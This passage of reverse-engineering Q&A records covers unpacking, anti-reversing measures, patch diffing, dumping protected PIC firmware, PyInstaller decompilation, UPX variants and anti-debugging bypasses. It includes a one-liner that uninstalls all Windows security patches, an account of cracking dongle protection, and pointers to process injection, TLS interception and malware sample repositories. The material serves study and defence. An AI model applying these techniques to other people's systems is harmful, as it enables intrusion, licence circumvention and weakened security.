\n", "Title": "Unpacking binary statically", "Tags": "|obfuscation|unpacking|executable|", "Answer": "

several possible ways:

\n\n
    \n

  1. identify the packer

    \n\n
    2. \n

  2. identify the algorithm

    \n\n
    3. \n

  3. get your hands dirty

    \n\n
    4. \n

  4. Lazy method by bruteforcing: some algorithms like ApLib don't have any header nor parameter (not even a size): the algorithm just requires a pointer to a compressed buffer, so it's sometimes enough to just blindly try it on any offset of your binary, and check if we get a decent decompressed buffer (not too small, not huge+full of 00s).

    5. \n
\n" }, { "Id": "118", "CreationDate": "2013-03-21T11:05:10.740", "Body": "

If I am building a C++ application and I want to make it more difficult to reverse engineer, what steps can I take to do this?

\n\n\n", "Title": "What kinds of steps can I take to make my C++ application harder to reverse engineer?", "Tags": "|obfuscation|compilers|c++|symbols|strings|", "Answer": "

Compiler

\n

The choice of a compiler has minimal effects on the difficulty to reverse engineer your code. The important things to minimize are all related to information leaks from your code. You want to at least disable any runtime type information (RTTI). The leakage of type information and the simplicity of the instruction set of the virtual machine is one of the reasons CLR and JVM code is easier to reverse engineer. They also have an JIT which applies optimizations to code which may reduce the strength of obfuscation. Obfuscation is basically the opposite of optimization and a lot of obfuscations are solved by first applying an optimization pass.

\n

Debugging information

\n

I would advise you to also turn off any debugging information, even if it doesn't leak any majorly important information today it might do so tomorrow. The amount of information leakage from the debug information varies from compiler to compiler and from binary format to binary format. For instance, Microsoft Visual C++ keeps all important debugging information in an external database, usually in the form of a PDB. The most you might leak is the path you used when building your software.

\n

Strings

\n

When it comes to strings you should definitely encrypt them if you need them at all. I would aim to replace all the ones that are for error tracing and error logging with numeric enumerations. Strings that reveal any sort of information about what is going on right now in your binary need to be unavailable. If you encrypt the strings, they will be decrypted. Try to avoid them as much as possible.

\n

System APIs

\n

Another strong source of information leakage is imports of system APIs. You want to make sure that any imported function which has a known signature is well-hidden and can not be found using automatic analysis. So an array of function pointers from something like LoadLibrary/GetProcAddress is out of the question. All calls to imported functions need to go through a one-way function and need to be embedded within an obfuscated block.

\n

Standard runtime libraries

\n

Something a lot of people forget to take into consideration is the information leaked by standard libraries, such as the runtime of your C++ compiler. I would avoid the use of it completely. This is because most experienced reverse engineers will have signatures prepared for a lot of standard libraries.

\n

Obfuscation

\n

You should also cover any critical code with some sort of heavy obfuscation. Some of the heavier and cheaper obfuscations right now are CodeVirtualizer/Themida and VMProtect. Be aware that these packages have an abundance of defects though. They will sometimes transform your code to something which will not be the equivalent of the original which can lead to instability. They also slow down the obfuscated code significantly. A factor of 10000 times slower is not uncommon. There's also the issue of triggering more false positives with anti-virus software. I would advise you to sign your software using a reputable certificate authority.

\n

Separation of functional blocks

\n

The separation of code into functions is another thing that makes it easier to reverse-engineer a program. This applies especially when the functions are obfuscated because it creates boundaries around which the reverse engineer can reason about your software. This way the reverse engineer can solve your program in a divide-and-conquer manner. Ideally, you would want your software in one effective block with obfuscation applied uniformly to the entire block as one. To reduce the number of blocks, use inlining very generously and wrap them in a good obfuscation algorithm. The compiler can easily do some heavy optimizations and stack ordering which will make the block harder to reverse engineer.

\n

Runtime

\n

When you hide information it is important that the information is well hidden at runtime as well. A competent reverse engineer will examine the state of your program as it is running. So using static variables that decrypt when loaded or by using packing which is completely unpacked upon loading will lead to a quick find. Be careful about what you allocate on the heap. All heap operations go via API calls and can be easily logged to a file and reasoned about. Stack operations are generally harder to keep track of just because of how frequent they are. Dynamic analysis is just as important as static. You need to be aware of what your program state is at all times and what information lies where.

\n

Anti-debugging

\n

Anti-debugging is worthless. Do not spend time on it. Spend time on making sure your secrets are well hidden independent of whether your software is at rest or not.

\n

Packing and encrypting code segment

\n

I will group encryption and packing into the same category. They both serve the same purpose and they both have the same issues. In order to execute the code, the CPU needs to see the plain text. So you have to provide the key in the binary. The only remotely effective way of encrypting and packing code segments is if you encrypt and decrypt them at functional boundaries and only if the decryption happens upon function entry and then re-encryption happens when leaving the function. This will provide a small barrier against dumping your binary as it is running but is must be coupled with strong obfuscation.

\n

Finally

\n

Study your software in something like the free version of IDA. Your goal is to make sure that it becomes virtually impossible for the reverse engineer to find a steady mental footing. The less information you leak and the more changing the environment is, the harder it will be to study. If you're not an experienced reverse engineer, designing something hard to reverse engineer is almost impossible.

\n

If you're designing a copy protection system prepare for it to be broken mentally. Make sure you have a plan for how you will deal with the break and how to make sure the next version of your software adds enough value to drive upgrades. Build your system on solid ground which can not be broken, do not resort to generating your own license keys using some custom algorithm hidden in the manner I described above. The system needs to be built on a sound cryptographic foundation for the unforgeability of messages.

\n" }, { "Id": "120", "CreationDate": "2013-03-21T12:53:55.163", "Body": "

For the purpose of learning about the complexities involved in writing PoC's (and gaining experience in) one could do patch diffing and have real world vulnerable examples to practice on. For now please disregard the idea of making your own vulnerable programs.

\n

For patch diffing I see 3 states an OS can be in, let's take windows 7 as example:

\n
    \n
  1. Plain state (no service packs, no patches)
    2. \n
  2. Partially patched (not updated to the latest released patches)
    3. \n
  3. Fully patched
    4. \n
\n

Scenario

\n\n

Although it will likely work on the plain state(1), the diff results will be bigger/harder to spot the issue. Secondly, the bug to the latest vulnerability could have been introduced by a previous patch/service pack.

\n

Therefore, how does one go from OS state 3 to state 2, where state 2 is a system patched up to just before the new patch that resolves the issue? Or if more convenient, from state 1 to state 2.

\n

update

\n

I realize my question isn't as clear as I thought it was in my head, hopefully this clarifies a bit

\n

I'm aware of the snapshot features of vmware/vbox but that is not what I'm looking for. What I'm actually aiming for is

\n
    \n
  1. How to get the old versions of the changed binaries?
    2. \n
  2. How to know to which version to revert? Is there some naming scheme in the files?
    3. \n
\n

Example:

\n\n", "Title": "How to manage/revert to specific OS versions for effective patch diffing?", "Tags": "|windows|operating-systems|", "Answer": "

I think there's a couple of approaches to get where you want. Given your scenario where you have the KB patch on your fully updated system. To get back to the previous version, uninstall that patch.

\n\n

The Metasploit Unleashed class used (still does?) has this command for XP that uninstalls all the patches:

\n\n
C:\\>dir /a /b c:\\windows\\$ntuninstallkb* > kbs.txt && for /f %i in (kbs.txt) do cd c:\\windows\\%i\\spuninst && spuninst.exe /passive /norestart && ping -n 15 localhost > nul\n
\n\n

Another approach that I think gets you to the same, if not better, state is to install a completely unpatched version of the operating system (e.g. from a MSDN install with no service packs). From here, you can extract the base files. For the patched versions, MSFT provides an ISO every month with the patches. You can extract the patched executables from here. For example, here's the ISO from this month of security updates.

\n" }, { "Id": "125", "CreationDate": "2013-03-21T14:30:15.477", "Body": "

I have an Arduino Uno Rev3. I would like to extract and find out what code is burned on the ROM of the micro-controller board.

\n\n
    \n
  1. How do I extract the code from the board?
    2. \n
  2. How do I figure out the original source code that went into the hex file?
    3. \n
\n", "Title": "How do I figure out what is burned on an Arduino ROM?", "Tags": "|decompilation|rom|dumping|", "Answer": "

There is a way to recompile with this opensource app, called RetDec:

\n\n

https://github.com/avast-tl/retdec

\n" }, { "Id": "128", "CreationDate": "2013-03-21T15:29:33.923", "Body": "

I have a PIC18F4550 from an old device and I need to see the code. I tried reading it using my ICD3 programmer, but the chip seems to have its code protected. How can I get the code anyway?

\n", "Title": "Get code from protected PIC", "Tags": "|hardware|pic|security|dumping|", "Answer": "

In the paper Heart of Darkness - exploring the uncharted backwaters of HID iCLASS TM security\n is a technique described (section III.C) that might work,but it does require a working device which might not be at hand in your situation.

\n\n

In short they use a TTL-232 cable in synchronous bit bang mode to emulate the PIC programmer. They then override the boot block by a special dumper firmware. Why it seems to work:

\n\n
\n

Microchip PIC microcontrollers internal memory is an EEPROM which means that data are stored and erase by pages (which hold a predefined amount of data).\n The \"key\" point is that , whenever memory is copy protected, individual blocks can be erased resetting the copy protection bits only for these blocks.

\n
\n" }, { "Id": "143", "CreationDate": "2013-03-22T02:12:29.987", "Body": "

In a microkernel, much of the interesting functionality happens not with traditional function calls, but instead through message passing between separate entities.

\n\n

Is there a structure that OS architectures like this generally use to implement message passing? And is there a methodical way to label this while disassembling, to make it as easy to follow paths of messages as it is to follow the call stack?

\n", "Title": "Tracing message passing instead of a call stack", "Tags": "|disassembly|static-analysis|operating-systems|", "Answer": "

I don't think I disassembled any microkernels, but \"message passing\" is common in at least two categories of programs: Win32 GUI (both raw Win32 and MFC-based), and Objective-C executables.

\n\n

In both cases you have some kind of a central dispatcher routine (or routines) that accept messages and forward them to some recipients, which may be inside or outside the current program.

\n\n

The recipients can be registered dynamically (RegisterClass in Win32) or may be specified in some static fashion (Objective-C class metadata or MFC's message handler tables).

\n\n

As for dispatchers, let's consider Win32's SendMessage. It has arguments hWnd and Msg (and extra parameters). The first specifies the recipient. You may be able to trace where it came from and then just look up the class registration corresponding to the window and check whether its window procedure handles this specific message. I guess you could mark the call with a comment \"goes to window procedure 0x35345800\" or similar to keep track of it. With MFC you'll need to find the class' message table and look up the corresponding handler.

\n\n

With Objective-C, objc_msgSend accepts the receiving object and the selector to perform. If you can track back the the object, you can check if it has the selector with that name. Or, alternatively, check all selectors with this name in the program. Again, once you found it, make a comment.

\n\n

So, a similar approach can probably be extended to all other message-passing systems - find recipients, then at the place of the dispatcher call check which ones can potentially handle it, and check the handlers. Sometimes you don't even need to actually do the first part - if the message ID/name is unique enough, you may be able to find the handler just by searching for it.

\n\n

A somewhat related problem is working with C++ and virtual functions but it has been covered in another question.

\n\n
\n\n

I've just remembered one more kind of programs that don't use the call stack. It's those that use Continuation-passing Style, usually written in some kind of a functional language. Greg Sinclair wrote a very nice and entertaining paper on the horrors of disassembling CHICKEN - an implementation of the language Scheme. His site is down but luckily Archive.org kept a copy. One quote from it:

\n\n
\n

For a reverse engineer, Continuation Passing Style means the end of\n civilianization as we know it.

\n
\n" }, { "Id": "160", "CreationDate": "2013-03-22T14:01:31.240", "Body": "

Having recently watched/read a presentation given by Dave Kennedy at DEF CON 20 [PDF], I'd like to know how to decompile a Python script compiled with PyInstaller.

\n\n

In his presentation, he is creating a basic reverse shell script in Python, and converts it to an EXE with PyInstaller.

\n\n

My question is how do you take a PyInstaller created EXE and either completely, or generally, retrieve the logic/source code from the original Python script(s)?

\n", "Title": "How do you reverse engineer an EXE \"compiled\" with PyInstaller", "Tags": "|python|pe|", "Answer": "

The one stop solution for all pyinstaller exe things. Use this program to reverse engineer a pyinstaller generated exe file.

\n\n

https://sourceforge.net/projects/pyinstallerexerebuilder/

\n" }, { "Id": "168", "CreationDate": "2013-03-22T23:31:46.983", "Body": "

I have an ELF file and want to know if it is UPX packed. How can I detect UPX compression in GNU/Linux?

\n", "Title": "How to check if an ELF file is UPX packed?", "Tags": "|linux|upx|", "Answer": "
    \n
  1. get UPX
    2. \n
  2. make your own UPX-packed ELFs, with different options (LZMA, NRV,...)
    3. \n
  3. As UPX is easy to modify, and very often modified, patched or even faked,\ncomparing the code starts will make it easy to check if your target\nis indeed UPX-packed, and if this is truely the original UPX version\nor if it's modified in any way.
    4. \n
\n" }, { "Id": "171", "CreationDate": "2013-03-23T06:43:39.273", "Body": "

I am reversing a closed-source legacy application that uses Microsoft SQL Server (2005) and I would like to find out precisely what queries are being executed in the background.

\n\n

I understand that it may be possible to use Wireshark to view the network traffic, but it feels quite clumsy so I am looking for something more specialized for this purpose.

\n\n

Is there a tool that is similar to Firefox's Tamper Data, but for MSSQL to view, and possibly edit queries?

\n\n

Features that I am looking for:

\n\n\n\n

Features that would be very useful:

\n\n\n", "Title": "Viewing MSSQL transactions between closed-source application and server", "Tags": "|windows|mssql|", "Answer": "

There is nothing wrong with using the TDS protocol decoder that comes with WireShark, assuming the connection is established via something that can be sniffed by WireShark. This is a specialized protocol decoder for TDS so I am not sure what you mean by:

\n\n
\n

I understand that it may be possible to use Wireshark to view the\n network traffic, but it feels quite clumsy so I am looking for\n something more specialized for this purpose.

\n
\n\n

If you want to get your hands dirty you can write a proxy based on FreeTDS. The perhaps biggest problem seems that either this project is now mature or abandoned. The tdspool program is probably your best point to start if you wanted to write a proxy. But it's possible you could coerce jTDS into doing what you want (from a casual reading of the source code it doesn't seem to be as good a starting point as the tdspool program).

\n" }, { "Id": "174", "CreationDate": "2013-03-23T08:39:25.617", "Body": "

Various software companies distribute their software with hardware security, usually a dongle which must be mounted in order for the software to operate.

\n\n

I don't have experience with them, but I wonder, do they really work?

\n\n

What is it that the dongle actually does? I think that the only way to enforce security using this method, and prevent emulation of the hardware, the hardware has to perform some important function of the software, perhaps implement some algorithm, etc.

\n", "Title": "Are hardware dongles able to protect your software?", "Tags": "|hardware|security|dongle|", "Answer": "

Clearly Peter has addressed the main points of proper implementation. Given that I have - without publishing the results - \"cracked\" two different dongle systems in the past, I'd like to share my insights as well. user276 already hints, in part, at what the problem is.

\n\n

Many software vendors think that they purchase some kind of security for their licensing model when licensing a dongle system. They couldn't be further from the truth. All they do is to get the tools that allow them to implement a relatively secure system (within the boundaries pointed out in Peters answer).

\n\n

What is the problem with copy protection in general? If a software uses mathematically sound encryption for its licensing scheme this has no bearing on the security of the copy protection as such. Why? Well, you end up in a catch 22 situation. You don't trust the user (because the user could copy the software), so you encrypt stuff or use encryption somehow in your copy protection scheme. Alas, you need to have your private key in the product to use the encryption, which completely contradicts the notion of mistrusting the user. Dongles try to put the private key (and/or algorithm and/or other ingredients) into hardware such that the user has no access in the first place.

\n\n

However, since many vendors are under the impression that they purchase security out of the box, they don't put effort into the correct implementation. Which brings me to the first example. It's a CAD program my mother was using. Out of the knowledge that dongles connecting to LPT tend to fail more often than their more recent USB counterparts, I set out to \"work around\" this one. That was around 2005.

\n\n

It didn't take me too long. In fact I used a simple DLL placement attack (the name under which the scenario later became known) to inject my code. And that code wasn't all too elaborate. Only one particular function returned the value the dongle would usually read out (serial number), and that was it. The rest of the functions I would pass through to the original DLL which the dongle vendor requires to be installed along with the driver.

\n\n

The other dongle was a little before that. The problem here was that I was working for a subcontractor and we had limited access only to the software for which we were supposed to develop. It truly was a matter of bureaucracy between the company that licensed the software and the software vendor, but it caused major troubles for us. In this case it was a little more challenging to work around the dongle. First of all a driver had to be written to sniff the IRPs from and to the device. Then the algorithm used for encryption had to be found out. Luckily not all was done in hardware which provided the loop hole for us. In the end we had a little driver that would pose as the dongle. Its functionality was extended so far as to read out a real dongle, save the data (actually pass it to a user mode program saving it) and then load it back to pose as this dongle.

\n\n

Conclusion: dongles, no matter which kind, if they implement core functionality of the program to which they belong will be hard to crack. For everything else it mostly depends on the determination and willingness to put in time of the person(s) that set out to work around the dongle.\nAs such I would say that dongles pose a considerable hindrance - if implemented correctly - but in cases of negligence on part of the software vendor seeking to protect his creation also mere snake oil.

\n\n

Take heed from the very last paragraph in Peters answer. But I would like to add one more thought. Software that is truly worth the effort of being protected, because it is unique in a sense, shouldn't be protected on the basis of customer harassment (== most copy protection schemes). Instead consider the example of IDA Pro, which can certainly be considered pretty unique software. They watermark the software to be able to track down the person that leaked a particular bundle. Of course, as we saw with the ESET leak, this doesn't help always, but it creates deterrence. It'll be less likely that a cracker group gets their hands on a copy, for example.

\n" }, { "Id": "175", "CreationDate": "2013-03-23T08:48:10.120", "Body": "

I've seen this referenced in a couple of other questions on this site. But what's a FLIRT signature in IDA Pro? And when would I create my own for use?

\n", "Title": "What is a FLIRT signature?", "Tags": "|ida|flirt-signatures|", "Answer": "

FLIRT stands for Fast Library Identification and Recognition Technology.

\n\n

Peter explained the basics, but here's a white paper about how it's implemented:

\n\n

https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml

\n\n
\n

To address those issues, we created a database of all the functions\n from all libraries we wanted to recognize. IDA now checks, at each\n byte of the program being disassembled, whether this byte can mark the\n start of a standard library function.

\n \n

The information required by the recognition algorithm is kept in a\n signature file. Each function is represented by a pattern. Patterns\n are first 32 bytes of a function where all variant bytes are marked.

\n
\n\n

It's somewhat old (from IDA 3.6) but the basics still apply.

\n\n

To create your own signatures, you'll need FLAIR tools, which can be downloaded separately.
\n(FLAIR means Fast Library Acquisition for Identification and Recognition)

\n\n

The IDA Pro book has a chapter on FLIRT and using FLAIR tools.

\n" }, { "Id": "185", "CreationDate": "2013-03-23T13:55:12.740", "Body": "

I want to add some functionality to an existing binary file. The binary file was created using gcc.

\n\n\n", "Title": "How do I add functionality to an existing binary executable?", "Tags": "|linux|c|executable|hll-mapping|", "Answer": "

"ptrace()" was casually mentioned by Giles. But I think it deserved a whole section by itself. "ptrace()" is a system call API provided by OS (Linux and all UNIX have it, and so do Windows) to exert debug control over another process. When you used PTRACE_ATTACH (as part of ptrace()) to attach to another process, the kernel will pause the CPU running that process completely, allowing you to make changes to ANY part of the process: CPU, any registers, any part of that process memory etc. That is how dynamic inline hooking work. (ptrace() attach, modify binary in-memory, and then ptrace() unattached). As far as I know, all dynamic modification of another process has to use ptrace() - as that is the only mechanism provided by kernel to guarantee integrity via system call at this point.

\n

But recently similar API like utrace() is popping up, and so\ninline hooking is also theoretically possible:

\n

http://landley.net/kdocs/ols/2007/ols2007v1-pages-215-224.pdf

\n

For kernel hooking, there are many methods: syscall, interrupt, and inline hooking. This is for interrupt hooking:

\n

http://mammon.github.io/Text/linux_hooker.txt

\n

When the CPU is in STOP mode, basically you can do anything you like to the CPU/memory space/register - just make sure you restore back to its original state before returning to the original address where it stopped.

\n

And if you use library inject technique, you can implement any functionalities - calling remote libraries, remote shell etc:

\n

https://attack.mitre.org/techniques/T1055/001/

\n

https://stackoverflow.com/questions/24355344/inject-shared-library-into-a-process

\n

https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/

\n" }, { "Id": "187", "CreationDate": "2013-03-23T14:05:44.343", "Body": "

I've seen numerous examples of people essentially dissolving away the resin from integrated circuits in boiling high strength acid in order to expose the raw silicon chip underneath. My general understanding is that this has, from time to time, allowed for attackers to determine 'secret' information like crypto keys and the like. \nIn addition, undocumented functionality can be determined and unlocked by doing this in some cases.

\n\n

How can one go about 'reading data' from raw silicon? What kind of other benefits can you obtain from hardware level reverse engineering?

\n", "Title": "What kind of information can i get from reverse engineering an integrated circuit package", "Tags": "|hardware|integrated-circuit|", "Answer": "

There are various techniques used and I'll list some.

\n
    \n

  1. Probing while operating - if you have a probe station you can operate the device and probe intermediate signals within the die. This requires that the encapsulations (usually Si#N4 -or sometimes Polyimide) needs to also have been removed. Once this is removed the chip has a limited life, but you can't probe through that.

    \n

    Also, the feature size of the chip on top metal must also be large enough to be able to probe. In most modern processes this is very problematic as even on the coarsest resolution layers it is still far too small for probing.

    \n

    In this case, we use a FIB (Focused Ion Beam) machine to cut and also to add test points on the chip. In this case, you'd leave the passivation on and the pad is deposited on top of the passivation. The FIB then cuts through the passivation and connects to the traces below. These machines are typically charged out at $100's per hour.

    \n
    2. \n

  2. Delayering - The chip is etched layer by layer and photographs and/or electron micrographs are taken at each stage. Understanding the construction of the devices will allow you to regenerate the device structure down to the Si. Here dimensions are important. Understanding the implants into the Si itself requires the use of SIMS (Secondary Ion Mass Spectrograph) machine and tiny holes are milled into the substrate the ions are vacuumed into a Mass spectrometer machine and the species and doping profiles are shown as the machine drills down.

    \n

    There are lots of other machines that are used that can help determine species and doping levels.

    \n
    3. \n

  3. The two techniques above cannot help if there are flash or EEPROM devices, because the state of the device is set by the presence or absence of charge, which you can't read. In this case, there are other tools that are used. You would delayer to just above the gate levels and try to read the stored charge on the floating gate using various techniques like AFM (with the ability to read electron affinity- special attachment). There are even techniques that can be used such as SEM with surface contrast enhancement that allows you to monitor a running chip almost like a strobe light. But this requires that the device can have significant metal layers removed and STILL be operational. Which is not usual.

    \n
    4. \n
\n

To fully RE a chip you will require multiple chips and you progressively learn as you slowly step through the various layers.

\n

There are many different techniques used, most are developed to help designers debug problems rather than to RE, this is only a short overview at best.

\n" }, { "Id": "197", "CreationDate": "2013-03-23T18:38:09.513", "Body": "

A lot of code I encounter today has a considerable amount of code generated at runtime, making analysis extremely laborious and time consuming.

\n\n

Is there any way I can create symbolic names for the various functions introduced by the JIT compiler that keep cropping up, or for the various artifacts (such as type information) introduced into the executable through the JIT compiler in GDB or WinDBG?

\n", "Title": "How can I analyze a program that uses a JIT compiled code?", "Tags": "|debuggers|", "Answer": "

Yep, the answer depends on what exactly you are trying to achieve.

\n\n

In terms of analyzing the .NET app itself, you can get a complete source code by using, e.g. DotPeek written by JetBrains. You can even export it into a fully-functional Visual Studio Project, build it and debug. However, some apps may be obfuscated.

\n\n

Another scenario is when a .NET app is a part of another application written in another language (e.g. C++). In this case, most likely .NET code is compiled into DLL which is also can be disassembled using apps like DotPeek.

\n\n

Probably, there are may exist much more complex scenarios like a custom JIT-compiler, embedded into a malware. In such cases, the most reasonable way may be to write a custom plugin (e.g. using IDAPython for IDA Pro). This plugin should be aware of data structures or behavior and can assist you in each step of a reverse engineering process. But writing a custom plugin may require a lot of knowledge of the underlying language and may be a challenge on its own.

\n" }, { "Id": "198", "CreationDate": "2013-03-23T20:12:39.453", "Body": "

Recently I asked a question about detecting UPX compression. 0xC0000022L wanted to know if it was plain UPX. However until that point I only was aware of plain UPX. So my question is:

\n\n\n", "Title": "What different UPX formats exist and how do they differ?", "Tags": "|upx|", "Answer": "

First, let's see UPX structure.

\n\n

UPX Structure

\n\n
    \n

  1. Prologue

    \n\n
      \n

    1. CMP / JNZ for DLLs parameter checks

      2. \n

    2. Pushad, set registers

      3. \n

    3. optional NOP alignment

      4. \n
    2. \n

  2. Decompression algorithm

    \n\n
    3. \n

  3. Call/Jumps restoring

    \n\n
    4. \n

  4. Imports

    \n\n
    5. \n

  5. Reset section flags

    6. \n

  6. Epilogue

    \n\n
    7. \n
\n\n

For more details, here is a commented IDA (free version) IDB of a UPX-ed PE.

\n\n

modified UPX variants

\n\n

Simple parts like prologue/epilogue are easy to modify, and are consequently often modified:

\n\n\n\n

Complex parts like decompression, calls restoration, imports loading are usually kept unmodified, so usually, custom code is inserted between them:

\n\n\n\n

faking

\n\n

As the prologue doesn't do much, it's also trivial to copy it to the EntryPoint of a non UPX-packed PE, to fool identifiers and fake UPX packing.

\n" }, { "Id": "206", "CreationDate": "2013-03-23T21:36:15.177", "Body": "

It seems that a popular use of software reverse engineering skills is to reverse malicious code in an effort to build better protection for users.

\n\n

The bottleneck here for people aspiring to break into the security industry through this path seems to be easy access to new malicious code samples to practice on and build heuristics for.

\n\n

Are there any good resources for a person unaffiliated with any organization to download malware in bulk to run analysis on?

\n", "Title": "Where can I, as an individual, get malware samples to analyze?", "Tags": "|malware|", "Answer": "

theZoo
\ntheZoo is a project created to make the possibility of malware analysis open and available to the public. Since we have found out that almost all versions of malware are very hard to come by in a way which will allow analysis we have decided to gather all of them for you in an available and safe way. theZoo was born by Yuval tisf Nativ and is now maintained by Shahak Shalev.
\nMalware Source
\n Malware Binaries

\n" }, { "Id": "209", "CreationDate": "2013-03-23T22:18:53.200", "Body": "

I'm sure many of you are familiar with this classic antidebug trick accomplished by calling ZwSetInformationThread with ThreadInformationClass set to 0x11. Although many OllyDbg modules exist for the purposes of revealing the existence of threads hidden with this method, I haven't been able to find any information on the canonical technique employed to unhide these threads in OllyDbg.

\n\n

Is the function generally hooked in user mode (e.g SetWindowsHookEx), or is it more pragmatic to patch instructions that either call the NTDLL function directly or system calls which indirectly invoke it?

\n", "Title": "Canonical method to circumvent the ZwSetInformationThread antidebugging technique", "Tags": "|windows|anti-debugging|", "Answer": "

SetWindowsHookEx isn't really used for this sort of hooking as far as I'm aware.

\n\n

You could hook NtSetInformationThread in the import of the binary you want to analyze and make it always return success on ThreadHideFromDebugger but not forward the call to the actual function. This would be weak since GetProcAddress or manual imports would bypass it.

\n\n

You could hook the NtSetInformationThread function by inserting a call to your own function in the function prologue and then ignore ThreadHideFromDebugger while forwarding the rest to the original function.

\n\n

I strong advice against it but for the sake of completeness, you could also hook NtSetInformationThread in the system service dispatch table. There's a good dump of the table for different Windows versions here. If you want to get the index in the table yourself you can just disassemble the NtSetInformationThread export from ntdll.dll.

\n\n

If you're interested in more anti-debugging techniques strongly recommend reading Peter Ferrie's awesome anti-debugging reference.

\n" }, { "Id": "211", "CreationDate": "2013-03-23T23:42:30.040", "Body": "

In Windows Store application development for Windows 8, there is a class called remoteSettings that lets a developer store batches of data so that the user will have access to it across several machines, as long as they are logged in with the same account.

\n\n

I hooked up WireShark and discovered that the packet is stored in Azure, and is secured with TLS. I would like to MITM myself so that I can decrypt the packet and see if the data in encrypted on Azure.

\n\n

I obviously don't have the private key for Azure, so I'd like to know if anyone has an idea on how to accomplish that MITM analysis.

\n", "Title": "Decryping TLS packets between Windows 8 apps and Azure", "Tags": "|decryption|windows-8|", "Answer": "

Most probably Windows 8 is using WinINet to connect with the App Store. If this is the case, you can see the unencrypted streams hooking into the wininet.dll instead of using a proxy. HookME does this and it was presented last year in BlackHat.

\n\n

Probably you need to make some minor changes to compile and use it under Windows 8.

\n" }, { "Id": "230", "CreationDate": "2013-03-24T13:41:43.673", "Body": "

I found a 14 pin integrated circuit with no visible markings. I have no information about its functioning. How should I go about trying to explore its functionality without destroying it ?

\n\n

I have a lot of analog components such as resistors, capacitors and inductors, a variable power source (1V-14V) and a multimeter at hand.

\n", "Title": "How should I go about investigating an IC's functionality without destroying it?", "Tags": "|hardware|integrated-circuit|", "Answer": "

Given you have a 14 pin package it could be almost anything from a op-amp(s) to 74XX series logic.

\n\n

Start with a continuity tester and see if there are any pins that are obviously shorted together. If so that would be a big hint that they maybe power rails. Also look for common pinouts (Vcc, Vss on corners pins 7,14 etc.). THen use a diode checker and to determine the connectivity of these pins, where to you see opens and shorts, Vforward etc. You will start to see which pins are wired and likely which are +'ve rails and ground -'ve rails. Do keep in mind that there will be ESD protection diodes you will see. If there are no diodes at all then there is a chance that that pin might be a Analog input.

\n\n

Next set your power supply current limit to very low and power up the device via the pins that you thing are the rails. Be aware that you can power up a device through an input pin through the ESD structures, but that is noticeable because outputs will have a output voltage that is one diode drop below rails on them. Increase current limit and test probe and slowly work your way into understanding the chip, eliminating possibilities as you go. IS it an op-amp or logic? An open loop op-amp will act somewhat \"digital\" but probably won't go to the rails.

\n\n

The permutations and combinations of possibilities and techniques rapidly expand from this point forward.

\n" }, { "Id": "234", "CreationDate": "2013-03-24T14:59:36.647", "Body": "

I extracted a .hex file from a PIC16F88. For example:

\n\n
:020000040000FA\n:100000008F3083160F0570388F009B0183129F017C\n:1000100083169F0107309C0005108312051483127C\n:1000200003131730A0006730A1002930A2000A1284\n:100030008A11A20B17280A128A11A10B15280A127D\n:100040008A11A00B13280510831203131730A00088\n:100050006730A1002930A2000A128A11A20B2C28B5\n:100060000A128A11A10B2A280A128A11A00B282829\n:020070000D2859\n:02400E00782F09\n:02401000FF3F70\n:00000001FF\n
\n\n

In MPLAB, I imported this .hex file and found the disassembly code, in this case:

\n\n
 1   000     308F  MOVLW 0x8f                             \n 2   001     1683  BSF 0x3, 0x5                           \n 3   002     050F  ANDWF 0xf, W                           \n 4   003     3870  IORLW 0x70                             \n 5   004     008F  MOVWF 0xf                              \n 6   005     019B  CLRF 0x1b                              \n 7   006     1283  BCF 0x3, 0x5                           \n 8   007     019F  CLRF 0x1f                              \n 9   008     1683  BSF 0x3, 0x5                           \n10   009     019F  CLRF 0x1f                              \n11   00A     3007  MOVLW 0x7                              \n12   00B     009C  MOVWF 0x1c                             \n13   00C     1005  BCF 0x5, 0                             \n14   00D     1283  BCF 0x3, 0x5                           \n15   00E     1405  BSF 0x5, 0                             \n16   00F     1283  BCF 0x3, 0x5                           \n17   010     1303  BCF 0x3, 0x6                           \n18   011     3017  MOVLW 0x17                             \n19   012     00A0  MOVWF 0x20                             \n20   013     3067  MOVLW 0x67                             \n21   014     00A1  MOVWF 0x21                             \n22   015     3029  MOVLW 0x29                             \n23   016     00A2  MOVWF 0x22                             \n24   017     120A  BCF 0xa, 0x4                           \n25   018     118A  BCF 0xa, 0x3                           \n26   019     0BA2  DECFSZ 0x22, F                         \n27   01A     2817  GOTO 0x17                              \n28   01B     120A  BCF 0xa, 0x4                           \n29   01C     118A  BCF 0xa, 0x3                           \n30   01D     0BA1  DECFSZ 0x21, F                         \n31   01E     2815  GOTO 0x15                              \n32   01F     120A  BCF 0xa, 0x4                           \n33   020     118A  BCF 0xa, 0x3                           \n34   021     0BA0  DECFSZ 0x20, F                         \n35   022     2813  GOTO 0x13                              \n36   023     1005  BCF 0x5, 0                             \n37   024     1283  BCF 0x3, 0x5                           \n38   025     1303  BCF 0x3, 0x6                           \n39   026     3017  MOVLW 0x17                             \n40   027     00A0  MOVWF 0x20                             \n41   028     3067  MOVLW 0x67                             \n42   029     00A1  MOVWF 0x21                             \n43   02A     3029  MOVLW 0x29                             \n44   02B     00A2  MOVWF 0x22                             \n45   02C     120A  BCF 0xa, 0x4                           \n46   02D     118A  BCF 0xa, 0x3                           \n47   02E     0BA2  DECFSZ 0x22, F                         \n48   02F     282C  GOTO 0x2c                              \n49   030     120A  BCF 0xa, 0x4                           \n50   031     118A  BCF 0xa, 0x3                           \n51   032     0BA1  DECFSZ 0x21, F                         \n52   033     282A  GOTO 0x2a                              \n53   034     120A  BCF 0xa, 0x4                           \n54   035     118A  BCF 0xa, 0x3                           \n55   036     0BA0  DECFSZ 0x20, F                         \n56   037     2828  GOTO 0x28                              \n57   038     280D  GOTO 0xd   \n
\n\n

Now I want to know with what compiler this code is compiled. How can I do that? I'm looking for general ways to check what compiler made some ASM code. The code listed is just an example.

\n", "Title": "How to see what compiler made PIC ASM code?", "Tags": "|disassembly|compilers|pic|hex|", "Answer": "

(Answer converted from comment)

\n\n

Recovering the toolchain provenance of the binary code you've specified, at the very least, requires comparing the results of various PIC compilers, I don't know PIC assembly but the last two instructions look interesting for identifying the compiler (Provided your disassembler has misinterpreted the information at 0x38, how can the instruction possibly be called?).

\n\n

Some compilers generate prologues to functions intended for quick-n-dirty later patching that can be a giveaway as well. Best of luck!

\n" }, { "Id": "243", "CreationDate": "2013-03-24T17:46:39.220", "Body": "

